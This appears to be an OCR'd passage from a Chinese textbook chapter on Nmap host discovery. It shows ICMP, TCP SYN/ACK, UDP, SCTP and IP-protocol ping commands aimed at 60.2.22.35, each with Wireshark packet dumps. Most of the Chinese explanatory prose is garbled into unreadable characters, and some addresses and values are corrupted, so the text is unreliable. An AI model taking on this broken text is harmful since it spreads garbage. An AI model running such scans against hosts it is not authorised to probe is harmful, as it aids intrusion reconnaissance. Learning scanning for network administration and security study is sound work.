AT H H A e 2 )2 ping i %, AR RIE R AR, FEHLA Bm—4FEHL B kik—4
ICMP 23, WREHEEFH (FlamgEmasEF. BinARR ICMP slifZHi M), W3
ML B &[] ICMP 2 3C, BB FEL B 4TI ERFEVL.

2. B iB)EE A KFONE
ICMP B [A] 85 K SR vF R GE [u) 75— R Ge A ) | A IR R [ ) SRR H AR BT
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it ZRE, B A Ed ( Coordinated Universal Time, UTC) (IS FHHAN
UTC ZAEMIEIRITE]) o WRARRIE B FHEFAEL, B[ Lhn B EHLA X — ICMP B [A]
BiEoR, WRBBINEMIEIA AN B EHEL . YR, HEBHEANAEHFAEE, EE
iopay el I ) A

3. MHHEASIE RN E

ICMP it R IR EALAGE,, AT RERGET | Rd B P IR E 2 17 MRS, X
BRZ NGB WAF A RGERZEINEAA R RGE, —AEX N EAMBA H T W7

B RFC ALE, BRAERGUEHNES R RAUCE, S EAGEAR At NE Cy 1
R BRBURER, EOMBEATRRECE, DIARXEER% ), HE, REBMFEVAERR] R
R RIE—ANE o WORIEHEE B EHUERAEL, nl LlE) B EYLUKIE—A ICMP #EfS bk iF
K, WRISRINE R LAY B EHLFEZL

£ ICMP EAUA B SR, Al LA A RS Bk 3 Mk .

2.4.2 {EF ICMP thGHITEN A
X HLAY ICMP PIRSRT LA FH 3 R AR SR T AL IS, RS

1. @id ICMP I RLERFIMN ZH T EVLAIL

&% ICMP M R 3EoK, aniR45 3] H s EL & [ 1) ICMP W57, T35 B 2% LA T35 B
Do XA SCAT DAE i 52 76 A ping i 2ok B ik, IREANIAE L XFERMZEDT, TER
A RN IR S B TELRIN R, &% SEdfEmS 1A ping < BP5 1P #iht > /)
HAKER B EAEL, ZBIXH, FEATRBESAXHE R, BAE TX AR
ping TR, M ABREELEMITIX AL EVFEL KRR

XFERHT ping TEHASEHEH T, WIHIEZH T EVLA BT K555 28 #0 fa 4
ICMP Z AL it . SXFEEEE T BB LAA— & ikl f5, (B ping S RAIGA BN
15 A B0

{5/ Nmap F3E50 -PE 50T PASCER ICMP 30 EHLAER . X FESC R F A ping S&—FER

#AEH: Nmap -PE[ B4R ]

PATU T4 .

Nmap -sn -PE 60.2.22.35

PATHIEE RN

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-08-14 21:34
Nmap scan report for 60.2.22.35

Host is up (0.13s latency).

Nmap done: 1 IP address (1 host up) scanned in 1.86 seconds
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XS BRBEE, DEEMBRIIVBEFECREE — T, XA FE & Nmap
(192.168.0.4) [ HAx (60.2.22.35) K%k T — ICMP echo 7&K MEIEEL, HEREERH Type
FEWER 8.

Frame 35: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(d8:fe:e3:03:87:a9)
Internet Protocol Version 4, Src: 192.168.0.4, Dst: 60.2.22.35
Internet Control Message Protocol
Type: 8 (Echo (ping) request)

Code: O

Checksum: 0Oxlda6 [correct]

Identifier (BE): 55897 (0xda59)

Identifier (LE): 23002 (0x59%9da)

Sequence number (BE): 0 (0x0000)

Sequence number (LE): 0 (0x0000)

[RespoNSE frame: 36]

WARXT i ENEZ, 1 H A B KSR, B @  His 20L& BRI A
ICMP echo MW 5 dE40, HEHAH Type FBHHIE N 0,

Frame 36: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: D-LinkIn b3:87:289 (d8:fe:e3:b3:87:a9), Dst: 08:10:76:6a:ad:30
(08:10:76:6a:ad:30)

Internet Protocol Version 4, Src: 60.2.22,.35, Dst: 192.168.0.4
Internet Control Message Protocol
Type: 0 (Echo (ping) reply)
Code: 0
Checksum: 0x25a6 [correct]
Identifier (BE): 55897 (0xda59)
Identifier (LE): 23002 (0x59da)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
[Request frame: 35]
[RespoNSE time: 125.571 ms]

2. @1 ICMP R BEGE RN ZFHI T EN AT

AERY R, BTEI 2809 ping BSR4 FrEs 1|, RUbAin ek, il
Z A HE R I e B E]

{65 Nmap BJ3E75 -PP #LA] LASEEE ICMP PRl By s el 8 3= HL A 2 .

frAiE . Nmap -PP[ HAF )

PATUI T s,

Nmap -sn -PP 60.2.22.35

PATHIGERAT ©

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-08-14 22:15
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Nmap scan report for 60.2.22.35
Host 1s up (0.13s latency).
Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds

) A28 ARG AL 5 Z BT SEASHE AL, U Type “FEAHMEHR T 13 (B RIEGEK)

Frame 255: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(d8:fe:e3:b3:87:a9)
Internet Protocol Version 4, Src: 192.168.0.4, Dst: 60.2.22.35
Internet Control Message Protocol
Type: 13 (Timestamp request)
Code: 0
Checksum: 0x554c [correct]
Identifier (BE): 40371 (0x9db3)
Identifier (LE): 45981 (0xb39d)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Originate timestamp: 0 (0 seconds after midnight UTC)
Receive timestamp: 0 (0 seconds after midnight UTC)
Transmit timestamp: 0 (0 seconds after midnight UTC)

Hbs EVEFRGX N BIENZ )G, =4 H—14 Type F-BtEN 14 B0 AR o

Frame 258: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet II, Src: D-LinkIn b3:87:a9 (d8:fe:e3:b3:87:a9), Dst: 08:10:76:6a:ad:30
(08:10:76:6a:ad:30)
Internet Protocol Version 4, Src: 60.2.22.35, Dst: 192.168.0.4
Internet Control Message Protocol
Type: 14 (Timestamp reply)
Code: 0
Checksum: 0x9344 [correct]
Identifier (BE): 40371 (0x9db3)
Identifier (LE): 45981 (0xb39d)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Originate timestamp: 0 (0 seconds after midnight UTC)
Receive timestamp: 79748035 (22 hours, 9 minutes, 8.035 seconds after midnight UTC)
Transmit timestamp: 79748035 (22 hours, 9 minutes, 8.035 seconds after midnight UTC)

A FH IR 5 20 AT DA ) H AR as 2 MG BR L.

3. iBid ICMP st IE KA EH T ENLAI

fdi Ff] Nmap f932E30 -PM 7] LLSEBE ICMP PR3 E bl #E6S EALAZ
frAiERE . Nmap -PM[ EAF ]

PATITF 4.

nmap —-PM 211.81.200.8

I AR B RS Z BT RI AL, & Type FEAMEBAL T 17 (HhkAEiSEK) .
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Frame 4: 46 bytes on wire (368 bits), 46 bytes captured (368 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(d8:fe:e3:b3:87:a9)
Internet Protocol Version 4, Src: 192.168.0.4, Dst: 60.2.22.35
Internet Control Message Protocol
Type: 17 (Address mask request)

Code: O

Checksum: 0x9f10 [correct]

Identifier (BE): 20463 (0Ox4dfef)

Identifier (LE): 61263 (Oxef4df)

Sequence number (BE): 0 (0x0000)

Sequence number (LE): 0 (0x0000)

Address Mask: 0.0.0.0

BRI FEMHAETLRERG S, [HREUA S RGEEREX MG R G S K%L —1
DB, TR F B, XA RS PR AR AE A .

ICMP il & TIRZ R T, (HZX LR T ICMP vl 9 A 7 N EE R EZ 2
IR S, HIEHEABMER LR .

2.5 3T TCP PG BE - PLAR B AR

2.5.1 TCP 1IMYXf&ET

TCP ( Transmission Control Protocol, fZHifEH M) &— M THERIZERTML . BERE—
PR EERE R . AT, ETFE W RAEMEEGEEY, i IETF /9 RFC 793 & X, TCP i
RSB =BT E R . M FE s & SYN #E#G5KE, SR EIZ TCP By
—KEF SYN+ACK, FFEAX NI SYN $h4T ACK itk . X P78 1 5k ] AP 1k
PR IRIERE, TCP i AU S P SO= nl 28 K/ NI 3l i 1 B

TCP =KiET-HIL R

BH5E, FFPumAik SYN (SEQ=x) U4 Msr4%um, #EA SYN SEND IR

HK, ME#umUc® SYN #3C, B —4 SYN (SEQ=y) ACK(ACK=x+1) &3, #A
SYN RECV R%,

w5, & 5 ol B IR 55 A% o6 B9 SYN #e 3¢, [l 6 — > ACK(ACK=y+1) #3C, # A
Established K7, =WKIBEF 52/, TCP & 1 v Fl IR 55 2% A s g 57 i 82, A DA LR 155
LGP

& 2-3 45T TCP =B FRIE.

FRREE— T “um1” MRS, HEREXMEETERT 41 48211 ARP PhSUH ICMP
PP ERERA R, “GH” RS port FERE, LU N RRE SN EGESZRA T . Ui
AT 43 Sk kg f O A B 1, X AR A A2 B 4lls 0, 48 092 1L B el A I
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AN, AR, Bt 80 w21 ¥ 23 ¥ H 55,

—
“

Kl 2-3 TCP =B THid 2

WK —5 EVL M —RE T, IRA—1 % 0 gt vl AERF R o+ 0 — B ], sl
X, ATEEeT DAt th X ¥ s 1o MR E — SRR, 508920 E aJLLZ ik 65 536 1
X AL DA 2?7 ATHGE, — AP 1P bk i) EHL0] IRV 2R 55, Hoan
Web filx55. FTP k55, SMTP lle455%, XLeflkdsseenl LAl 14 1P k>R Se8. kA, F
Pl B X AR MRS VE? BAANGE RSE IP #ihk, K24 [P Huhk 5 R 2% ik 519 ¢ R &
— X EHKFR, EhR LA TP Hidik + 3w 057 X AR F RS 1

HEBOLT, MR- THNTEITERN, IBAEKRE D FHREEA AR, [FFEEH,
W RAS I 2] — 5 EHLAY A U LRI, H—FEFT DAAIA X & FVURIEEREL.

T RS — T v H RS, TR NSRS 3 P T U . AR AR
H FHL B B FIEEORA, ®inl LA EHL B B4 iRm0 GBS A XM, ek fe—
SrE RN ) REEETREE, WERBRIEN (R REEE] TEIEM), saT LAk
¥ B EEERENL.

2.5.2 {$f TCP tm\H TN A

#£ Nmap HH H# TCP UM XA PiFp, 4052 TCP SYN HH##1 TCP ACK 34,
X P AR 7 ISR A TCP ) = IRIBF 523 AY .

1. TCP SYN 345

Nmap H i ] -PS #EWE [n] Hbr EHLRIE—TEE T SYN bnEmEdRE, XA IRaEn
NZTA RS . TH BRAE B ARG 02 80 ¥ 1, W] DU F S0k vk s HAng 0. 1] ans
Horum H B2z 22, 23, 113, 35000 5%, H48E 240 0m H B, Nmap B2 & Hb X i3 £ O
FEATIA

H AR EVLAEWE] Nmap Fr &K 368) SYN £t 25, AN Nmap FrfE FHBRZEM A T
) — Ao ST 4, WUERX AN TR, Hin EVUL SR TCP = RIETFTHME, &




24 » EHZER—Nmap NELLEITHEARB/M

7] —~ SYN/ACK #t#fifa, FonFl RS, IR N KK, Bir P
XKEFL, 1) Nmap FrfE EHLZE— RST £dlitl. & 2-4 251 SYN £ #d # .

hhH‘h‘ﬁhahﬁfftzianwannaﬁhﬁih-
o ‘nfffiiffiff;xf#ﬁfﬁﬂHﬁ%ﬁﬁﬁ%
“

K 2-4 SYN F#fiid e

A, TEXAFrEENIFALET Bis EALW Birim 0 2S5k, RIeF B EILEETH
BR. fEA M SYN B Z G, RERBISEEE, JieZ SYN/ACK BiEtid 2 RST 2 i,
HERE B EVLETERRN . MR EAWEUE SR, PEwE Hin EVLATEZ.

£ Nmap 5 0] LU B -PS S50k e ol fpd i

WA B Nmap -PS[ 3T 1, g0 2, oo ] [ BEAR]

T 45—~ Nmap 95 60.2.22.35 #Y5£4

Nmap -sn -PS ©0.2.22.35

FIGERUT .

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-16 11:12
Nmap scan report for 60.2.22.35

Host 1s up (0.021s latency).
Nmap done: 1 IP address (1 host up) scanned in 1.88 seconds

A FE R P AR R BRI 2-5 B

Sowrce Destination Protocoel Length Info
- 192.168.0.5 60.2.22.35 TCP 58 48222 -+ 80 [SYN] Seq=0 Win=1024 Len=0 MSS=1460
60.2.22.35 192.168.8.5 TCP 58 B0 -+ 48222 [SYN, ACK] Seq=0 Ack=1 Win=17520 Len=0 MSS5=1452

192.168.8.5 60.2.22.35 54 48222 -+ 80 [RST] Seq=1 Win=0 Len=0

B 2-5 —K SYN Hflid #ar=A: 5 fu
B4 Nmap FT7ERI AL 192.168.0.5 [1] 60.2.22.35 &% T —> SYN gt

Frame 57: 58 bytes on wire (464 bits), 58 bytes captured (464 bits) on interface 0

Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(d8:fe:e3:b3:87:a9)

Internet Protocol Version 4, Src: 192.168.0.5, Dst: 60.2.22.35

Transmission Control Protocol, Src Port: 48222 (48222), Dst Port: 80 (80),

Seq: 0, Len: 0

Source Port: 48222

Destination Port: B0 @
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[Stream index: 2]

[TCP Segment Len: 0]

Sequence number: 0 (relative sequence number)
Acknowledgment number: O

Header Length: 24 bytes
Flags: 0x002 (SYN) @
Window size value: 1024

[Calculated window size: 1024]

Checksum: 0x5bbl [validation disabled]

Urgent pointer: 0

Options: (4 bytes), Maximum segment size

OFR ) B x4 80,

Q@FAXSE— SYN ZERIE A

AR BHAr 60.2.22.35 B3GR EHL, 10 H 80 ¥ 12 ik iy, AB-A+ B TCP PMX K #LRE,
L% 192.168.0.5 KiE—IEE, XAMZEE SYN/ACK i,

Frame 58: 58 bytes on wire (464 bits), 58 bytes captured (464 bits) on interface 0
Ethernet II, Src: D-LinkIn b3:87:a9 (d8:fe:e3:b3:87:a9), Dst: 08:10:76:6a:ad:30
(08:10:76:6a:ad:30)
Internet Protocol Version 4, Src: 60.2.22.35, Dst: 192.168.0.5
Transmission Control Protocol, Src Port: 80 (80), Dst Port: 48222 (48222), Seq:
0, Ack: 1, Len: O
Source Port: 80
Destination Port: 48222 @
[Stream index: 2]
[TCP Segment Len: 0]

Sequence number: 0 (relative sequence number)
Acknowledgment number: 1 (relative ack number)
Header Length: 24 bytes
Flags: 0x012 (SYN, ACK) @

Window size wvalue: 17520

[Calculated window size: 17520]
Checksum: 0Oxcc97 [validation disabled]
Urgent poilnter: 0

Options: (4 bytes), Maximum segment size
[SEQ/ACK analysis]

Nmap FT7E FHEW R X N B2 G, IFASERNMBis FPE %R, BAMEKR
S FIWr HAR BB AIEER L, T B R X IKi%EH:, TCP UM P45 & 211 i it 2
i) Hin &% — RST 412,

Frame 59: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(d8:fe:e3:b3:87:a9)
Internet Protocol Version 4, Src: 192.168.0.5, Dst: 60.2.22.35
Transmission Control Protocol, Src Port: 48222 (48222), Dst Port: 80 (80), Seq:
1, Len: O
Source Port: 48222
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Destination Port: 80 @
[Stream index: 2]
[TCP Segment Len: 0]
Sequence number: 1 (relative sequence number)
Acknowledgment number: 4155732289
Header Length: 20 bytes
Flags:0x004 (RST) @
Window size wvalue: 0
[Calculated window size: 0]
[Window size scaling factor: -2 (no window scaling used) ]
Checksum: 0x0e75 [validation disabled]
Urgent pointer: 0

O X Eeda 89 B AR 60.2.22.35 B 80 ¥ 11, {HUZ 008 B B #% XA 2 TCP
=KEFHH ACK HAREEL, 122 Wi R RST 286, XERyHBE LA,
e 22 30E B AR ENLRTEEREHL, ToAUR B bR R 58 BOE R =V .

NG A B DA B X LA R E R A S O HARREY 10000 5, A<
wr.

Nmap -sn —-PS 10000 60.2.22.35

HFRMBIEERIT S

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-16 11:34
Nmap scan report for 0.2.22.35

Host is up (0.022s latency).

Nmap done: 1 IP address (1 host up) scanned in 1.86 seconds

Nmap /=4 B2 A& =0k .

Frame 3742: 58 bytes on wire (464 bits), 58 bytes captured (464 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(d8:fe:e3:03:87:a9)
Internet Protocol Version 4, Src: 192.168.0.5, Dst: 60.2.22.35
Transmission Control Protocol, Src Port: 56532 (56532), Dst Port: 10000 (10000),
Seq: 0, Len: 0
Source Port: 56532
Destination Port: 10000
[Stream index: 105]
[TCP Segment Len: 0]
Sequence number: 0 (relative sequence number)
Acknowledgment number: 0
Header Length: 24 bytes
Flags: 0x002 (SYN)
Window size wvalue: 1024
[Calculated window size: 1024]
Checksum: 0Oxac68 [validation disabled]
Urgent pointer: 0
Options: (4 bytes), Maximum segment size
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60.2.22.35 Y B T XA~ SYN #4561, 1H 2 1) 10000 ¥ O F¢ B A AL, B E & h
Nmap FT7ER) EHLE Bl —ARZE, Fonizim 2P, XNEIEaREEWE RST #2KH) .

Frame 3743: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet II, Src: D-LinkIn b3:87:a9 (d8:fe:e3:b3:87:a9), Dst: 08:10:76:6a:ad:30
(08:10:76:6a:ad:30)
Internet Protocol Version 4, Src: 60.2.22.35, Dst: 192.168.0.5
Transmission Control Protocol, Src Port: 10000 (10000), Dst Port: 56532 (56532),
Seq: 1, Ack: 1, Len: 0
Source Port: 10000
Destination Port: 56532
[Stream index: 105]
[TCP Segment Len: 0]
Sequence number: 1 (relative sequence number)
Acknowledgment number: 1 (relative ack number)
Header Length: 20 bytes
Flags: 0x014 (RST, ACK)
Window size wvalue: 0
[Calculated window size: 0]
[Window size scaling factor: -2 (no window scaling used) ]
Checksum: 0xc811 [validation disabled]
Urgent pointer: 0
[SEQ/ACK analysis]

Nmap W2 B s EHVLA BB N Z, HIFEEERT AW B AR EVLEIERFENL, i RE
WeB BAR VLN, AT LUK BAR EVLREWGERENL, MICHEES N A M BA N Z

TCP #39# /& Nmap AR P& im KR Z —, 1R 2 k5545 B B A HL 1] A8 <= e il L.
ICMP echo T RETEAL, (HRALA] AR FAeE0 200 DX HAR S ) SYN £t #ilan, —4
Web il 5548 9L LI A A fEFE 48 & 15 80 ¥ H Y SYN £iinfl, BRA nRE=E4L ACK 4K
., HEEFENE, BERFAHZ2ULH ] g Ry B R4tk S LA s O, B
Web Il 5575 B9 4 11 n] GEKE 5% 80 S 11 LASIAY BT A iy 11 #0 Bic b, R I 244K —> SYN
PR AT R 22 w OB, sUATRBSaTiRE—M, BAEMBNE, BAZUEME B
FE . MIANIARMERS K& FHLR A s H #EA734, NICEEXT BArstAr I snt, iy 0 pgik
Pt SR EEL, F£ 225 T TCP HfirhE A R 14 2860,

Fz2-2 BRI TCPAHFWmO

m 0 5 RS
80 http

25 smtp

22 ssh

443 https

21 ftp

113 auth
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(Z£)
im0 S = ERIAR S
23 telnet
53 domain
554 rtsp
3389 ms-term-server
1723 pptp
389 Idap
636 ldapssl
256 fw1l-securemote

FEA S O AR, L R] DA sem DA, Heln ¢ -PS 22, 807 iR — N ARGE
EFE, HREWEER “-PS 80, 443" M SUEEA K, B 2R3 B 1 X0 1 (1943 1 22 http .,
https IR 55, 2R HARZE—1> Web [R5 %%, BEHEA S ESRMEXPHNRS, WRAZE, IR
LE—HRFGSEA SR, I, “-PS 80, 443" XS RAE W RERELE,

2. TCP ACK 315

& 77— R AR TCP M, XMEMEHRIE ACK A, Sk BB SYN 3
FHEAELL, AFZAE RAET Nmap A&k BBEE L {8 TCP/ACK FRi&fr, AR SYN iRk
fiio ¥ TCP =ZBEFHHN], MEFEILAMB, HAMAMB A% T SYN#HIELZ)E,
B A4 [mlW A —4~ TCP/ACK %i#Efu .

PR7E Nmap B # 0 HAR FHLAE—1 TCP/ACK 456, BirFVLBARLEEEXEE
A, MIRWAT]RERPIE S, TCP #EH:, H It HAB M Nmap i #E EHLKE £ — RST Frik
LR, FRARTCEE XA TCP ##%, E 2-6 4 T XA — IR

ACK

G RST(TTL < 64) 5 s

/

&’ 2-6 ACK HHfi#

XA ACK 134519 77 2 [FFELL 80 v AR A E A v O, Wrl LIHEFTHRE . WARFFEXS HAR
FHLRAHX AR, P,

Nmap -sn -PA 60.2.22.35
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FRBIZIRANT

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-16 12:07
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.88 seconds

AR A BIRRIY T o LTI, XA R H AR D EERLE, & MO O
L A2 F AR AL B R % AL 50 % it droRf X R 524 HAb i) TCP/ACK A FLAZd I8 4 T o
Arbid ] LA ER — N X A%

Frame 15315: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(dB8:fe:e3:b3:87:a9)
Internet Protocol Version 4, Src: 192.168.0.5, Dst: 60.2.22.35
Transmission Control Protocol, Src Port: 51269 (51269), Dst Port: 80 (80),
Seq: 1, Ack: 1, Len: 0
Source Port: 51269
Destination Port: 80
[Stream index: 226]
[TCP Segment Len: 0]
Sequence number: 1 (relative sequence number)
Acknowledgment number: 1 (relative ack number)
Header Length: 20 bytes
Flags: 0x010 (ACK)
Window size wvalue: 1024
[Calculated window size: 1024]
[Window size scaling factor: -1 (unknown) ]
Checksum: 0Oxale8 [validation disabled]
Urgent pointer: 0

£ Nmap & B2 5, IFRAWRMEMNI, XBAATEPIRI AT AE, —RpeX 20
AL Jr ) el ml i sg i T, O BASIRABA WX A BAEAL, 75—t H iR EPLF
AR EBR F L. Nmap 8 24 BEE " RG Db A7 AW, i ds i — M EREEE: Bisdt
AETEER E AL

2.6 KT UDP MR iS K LML BLEEA

2.6.1 UDP tpXfRtT

UDP il & — M TEmEN T, BEZERK TAES TCP 2MFE R, HE2H T
UDP TSR T ) #4219, X UDP % H A £ 0 58 A vl B4R TCP S 1 A9 # MAR FEAK 8 T
BT R CRBEREH telnet ;XA TCP UMY ZEEIM4), X {15 UDP dm H 45 ] g4
AN, Hik, B UDP MMUEZ TCP i W5 5, {H2&XT UDP % O A3 F4 512 AH 24
MER
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M —~ UDP ¥i U 3| —> UDP 2 A i), R EZRH Y, ¥a 4w & Bl —4
ICMP ¥ O AN R AEHE AL ; R EEANA, MSZX N EdRa, Wil 2 E &5 AR

FHEfIfE B o

X RS DC RO v] LASE BN UDP S 1AM, 1 R 5 O 39 48 45 2R A ] g 1 LU AR
A oA 35—~ UDP s B 11 BA WCEIMEART B RLE B, G AT BE PR 83X 4~ UDP ¥ 2 JF X
), WA AR oy XA B GR g R ZR T A, AMBEERE, RN EE
RFC1812 H%f ICMP b4 SCHY AR plist BEA s 1 BR Al o B 40 Linux 5%F ICMP i SCHY A BiE
BERRT A %E 4 B4 80 4>, il HH XA BRI A I e, R BB 1/4 B

2.6.2 {s&

UDP 1SGH TN AT

5 F Nmap A% -PU 0] LLSEEE UDP XA EHLE R .
r41E % : Nmap -PU[ B#F )
i F X R X 60.2.22.35 #E47— W F UDP MY 54730

Nmap -sn -PU 60.2.22.35

AP RIT

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-16 12:45
Nmap scan report for 60.2.22.35

Host is up (0.020s latency).

Nmap done: 1 IP address (1 host up) scanned in 1.83 seconds

FEXFP =8P, Nmap 9] 60.2.22.35 &% T —/> UDP BB 85, XN

AT

Frame 3105: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:
a9 (d8:fe:e3:b3:87:a9)

Internet Protocol Version 4, Src: 192.,168.0.4, Dst: 60.2.22.35

User Datagram Protocol, Src Port: 49497 (49497),

Dst Port:

40125 (40125) @

Source Port: 49497
Destination Port: 40125
Length: 8
Checksum: 0x8efb [validation disabled]
[Stream index: 32]

DOFEm R IEFBAE A HE P UDP, HArd b 40125, 78 B Frilie 3] x4 % i
W2ZJE, BT 40125 O ERH M, #i<m Nmap Fi7E EHLE %X — ICMP ¥ 1 AT 1A%

Pl o

Frame 3115: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface 0
Ethernet II, Src: D-LinkIn b3:87:29 (d8:fe:e3:b3:87:a9), Dst: 08:10:76:6a:ad:30
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(08:10:76:6a:ad:30)
Internet Protocol Version 4, Src: 60.2.22.35, Dst: 192.168.0.4
Internet Control Message Protocol
Type: 3 (Destination unreachable)
Code: 3 (Port unreachable)
Checksum: 0x0fe8 [correct]
Unused: 00000000
Internet Protocol Version 4, Src: 192.168.0.4, Dst: 60.2.22.35
User Datagram Protocol, Src Port: 49497 (49497), Dst Port: 40125 (40125)
Source Port: 49497
Destination Port: 40125
Length: 8
Checksum: 0x8ef5 [validation disabled]
[Stream index: 32]

Nmap B X2 5, gl LA B AR EVUCATEER EHLT o &F % UDP 9+ $5 AL
I, R ERRMIRES, (H2S5 TCP AN[FE, TCP FFEHH HAR EHLIFHA S, i UDP
T M BAn FVCH M Ss H o FEER SRR, T2 IR H A UDP Urillss H
% 4n DNS (31 53 ), SNMP (161), FHFEAREAIBME, A8 Mokt 28— ME
BRI T, AN 35462,

2.7 3tT SCTP Ppil W76 Bk - pL R BB A

2.7.1 SCTP MY EENT

SCTP 5 TCP [F]J& FA& 42 AT, X—Z P8R /b, H52 SCTP thil 5
TCP SER AT S AR . (HFE Z B HAAEER KRR Z AL

B, TCP UMY —E Tt 820, 1 SCTP A1A] DAH T Z itk %+ .

HK, TCP UM I TFH A, SCTP EETH B A, TCP HEE X #HF— A, M
SCTP #%$% (association) [FIEA] DA £ (stream) .

i Ja, TCP M A =KIEFLHA, 1 SCTP f&ifaf —Fh 4 AR T A HLHI 5C
B, SXRIHLE T DA RO BT 7= A2 . 78 SCTP Hr, & P H—A> INIT S0 &E—4
BEHE, MRSl H— INIT-ACK i SCGHAT W, HAPEAETE T cookie (FRiRliX &M
E— FF30) . SRIE R Pl F—/ COOKIE-ECHO B 3Cibfrma N, Hriaa T RS seuk i
Rk cookie, IR 55 AR U B A X N EFE A FC IR, Il 1k 7] 25 P o & 3% — 1~ COOKIE-ACK
2 SORFFLHEA T 00 Y o

2.7.2 ({£F3 SCTP WM{iAITEN A
{1l Nmap (936791 -PY AT LA1e) B AR EHLE 2% —4> SCTP INIT %0,
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SrAEE . Nmap -PY[ 3T 1, 3H 2 1 [ BA]
Hlinxt HAR 60.2.22.35 #47—IK SCTP W 2RI A+ .

Nmap -sn -PY 60.2.22.35

FABIERATT o

Starting Nmap 7.12 ( https://Nmap.org ) at 2016-09-16 12:58
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.76 seconds

PSRN ZEVIFARIEREN, XAGREAIEFAY, EZFFEBAREVIFASL
fF SCTP thilo HESCHREXAI EHIIAZ, Hx bk ReefEy—Fa i FEB
Nmap ZEATXFP BT B RER AR AR

Frame 44314: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface 0
Ethernet II, Src: 08:10:76:6a:ad:30 (08:10:76:6a:ad:30), Dst: D-LinkIn b3:87:a9
(dB:fe:e3:b3:87:a9)
Internet Protocol Version 4, Src: 192.168.0.5, Dst: ©0.2.22.35
Stream Control Transmission Protocol, Src Port: 49996 (4999¢), Dst Port: 80 (80)
Source port: 49996
Destination port: 80
Verification tag: 0xQ00000000
[Assocation index: 0]
Checksum: 0Oxe88acldd (not wverified)

INIT chunk (Outbound streams: 10, inbound streams: 2048)

Chunk type: INIT (1)

Chunk flags: 0x00

Chunk length: 20

Initiate tag: Oxba3d34ac

Advertised receiver window credit (a rwnd): 32768

Number of outbound streams: 10

Number of inbound streams: 2048

Initial TSN: 2624285906

2.8 [l 1P BriSGIETT DL AE S 30

IP 5 B J2& TCP/IP W B0 J5 H 4% 0 B i, i J& TCP/IP M 4k, A ¥ TCP. UDP,
ICMP % IGMP %3548 LA 1P Bl uds =0t . 1P B ng =R &l 2-7 fros.

X BT P PO B R 8 v, R AR R BR AN a) TP A6 5 HE . HLn ICMP 4 1,
IGMP % 2, TCP & 6, UDP & 17, GRE X 47, ESP i 50 4,

Nmap H 5214 ] B AR EVLAIE 1P BRI Hpx EALEETEER, Bhig b a] LUSE
WZEE A XM niffs e EZ AT, WRATE €M, Nmap LA H ICMP
(IP %5 1 ). IGMP (IP B 4RS 2 ) Al IP-in-IP (IP WMYZRS 4) =ML, HAMLAT L
{fi FHZ%L -PO Skdg & g UM B4, BlanBRAmg 1P HH# 7X



F28 FEERFNAIFEAR « 33

Nmap -sP -PO 60.2.22.35
SEPR_ RO ST

Nmap -sP -PO 1,2,4 60.2.22.35

fii 0 4 8 16 19 24 31
i ( WA | BRI X 43 AR %5 B
PRif PRk Fm#%
i I A7 ] B ERE gt st
< (20 F9)
h U5 b
! B bk
| RS T ATHE B (K BEA[AE) E -
€7y

B \ BOE Y ]
f_ - 1P B -

HRIRTERT
& 2-7 1P Hdf fukg =X
A B A TCP (IP PMs 4RSS 6 ). UDP (IP PR 17), il AEHAW T4 .
Nmap -sP -PO 6,17 60.2.22.35

AEN, XFIEE ZHOEBIRRN AT RSN, XFEIEaRES SR, a7
—A™ —-data-length ZECR & LGN T FEFLE R fOBdE 4L, Filan .

Nmap --data-length 25 60.2.22.35

2.9 Nmap {FEKEPLRBP 5 DNS BpiSUHT G i) 2

2.9.1 DNS YRt

DNS s&— ML P8 REEEH ML, H24 REPNIFEAERIEFTE, HL
FERAEW YE 4% o A— DMk, DNS PMCHSEEETERIEN T o DNS MUK AN www.
tstc.edu.cn X AL AN 60.2.22.35 X AL TP Hiuhk JCBRHED S o 3K AR AN ) S Ak 3t 2 7 15 ] )
iR, TR 2 R XY, AREILE—SAEEXNATFHATLL 1o X—x
SUEFRARTT DU T B 28 Ml AR IR A M 252, (B2 RMEC M Bk 5% . HE 5] —
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W AN HIE B 1 TP b, w7 DA X el 22 K TR),  an SRR R ) ML A XA 4
XL TP #ihEAYE, B4 DNS RS & HiER, X MRS a2 1 1P bt 534
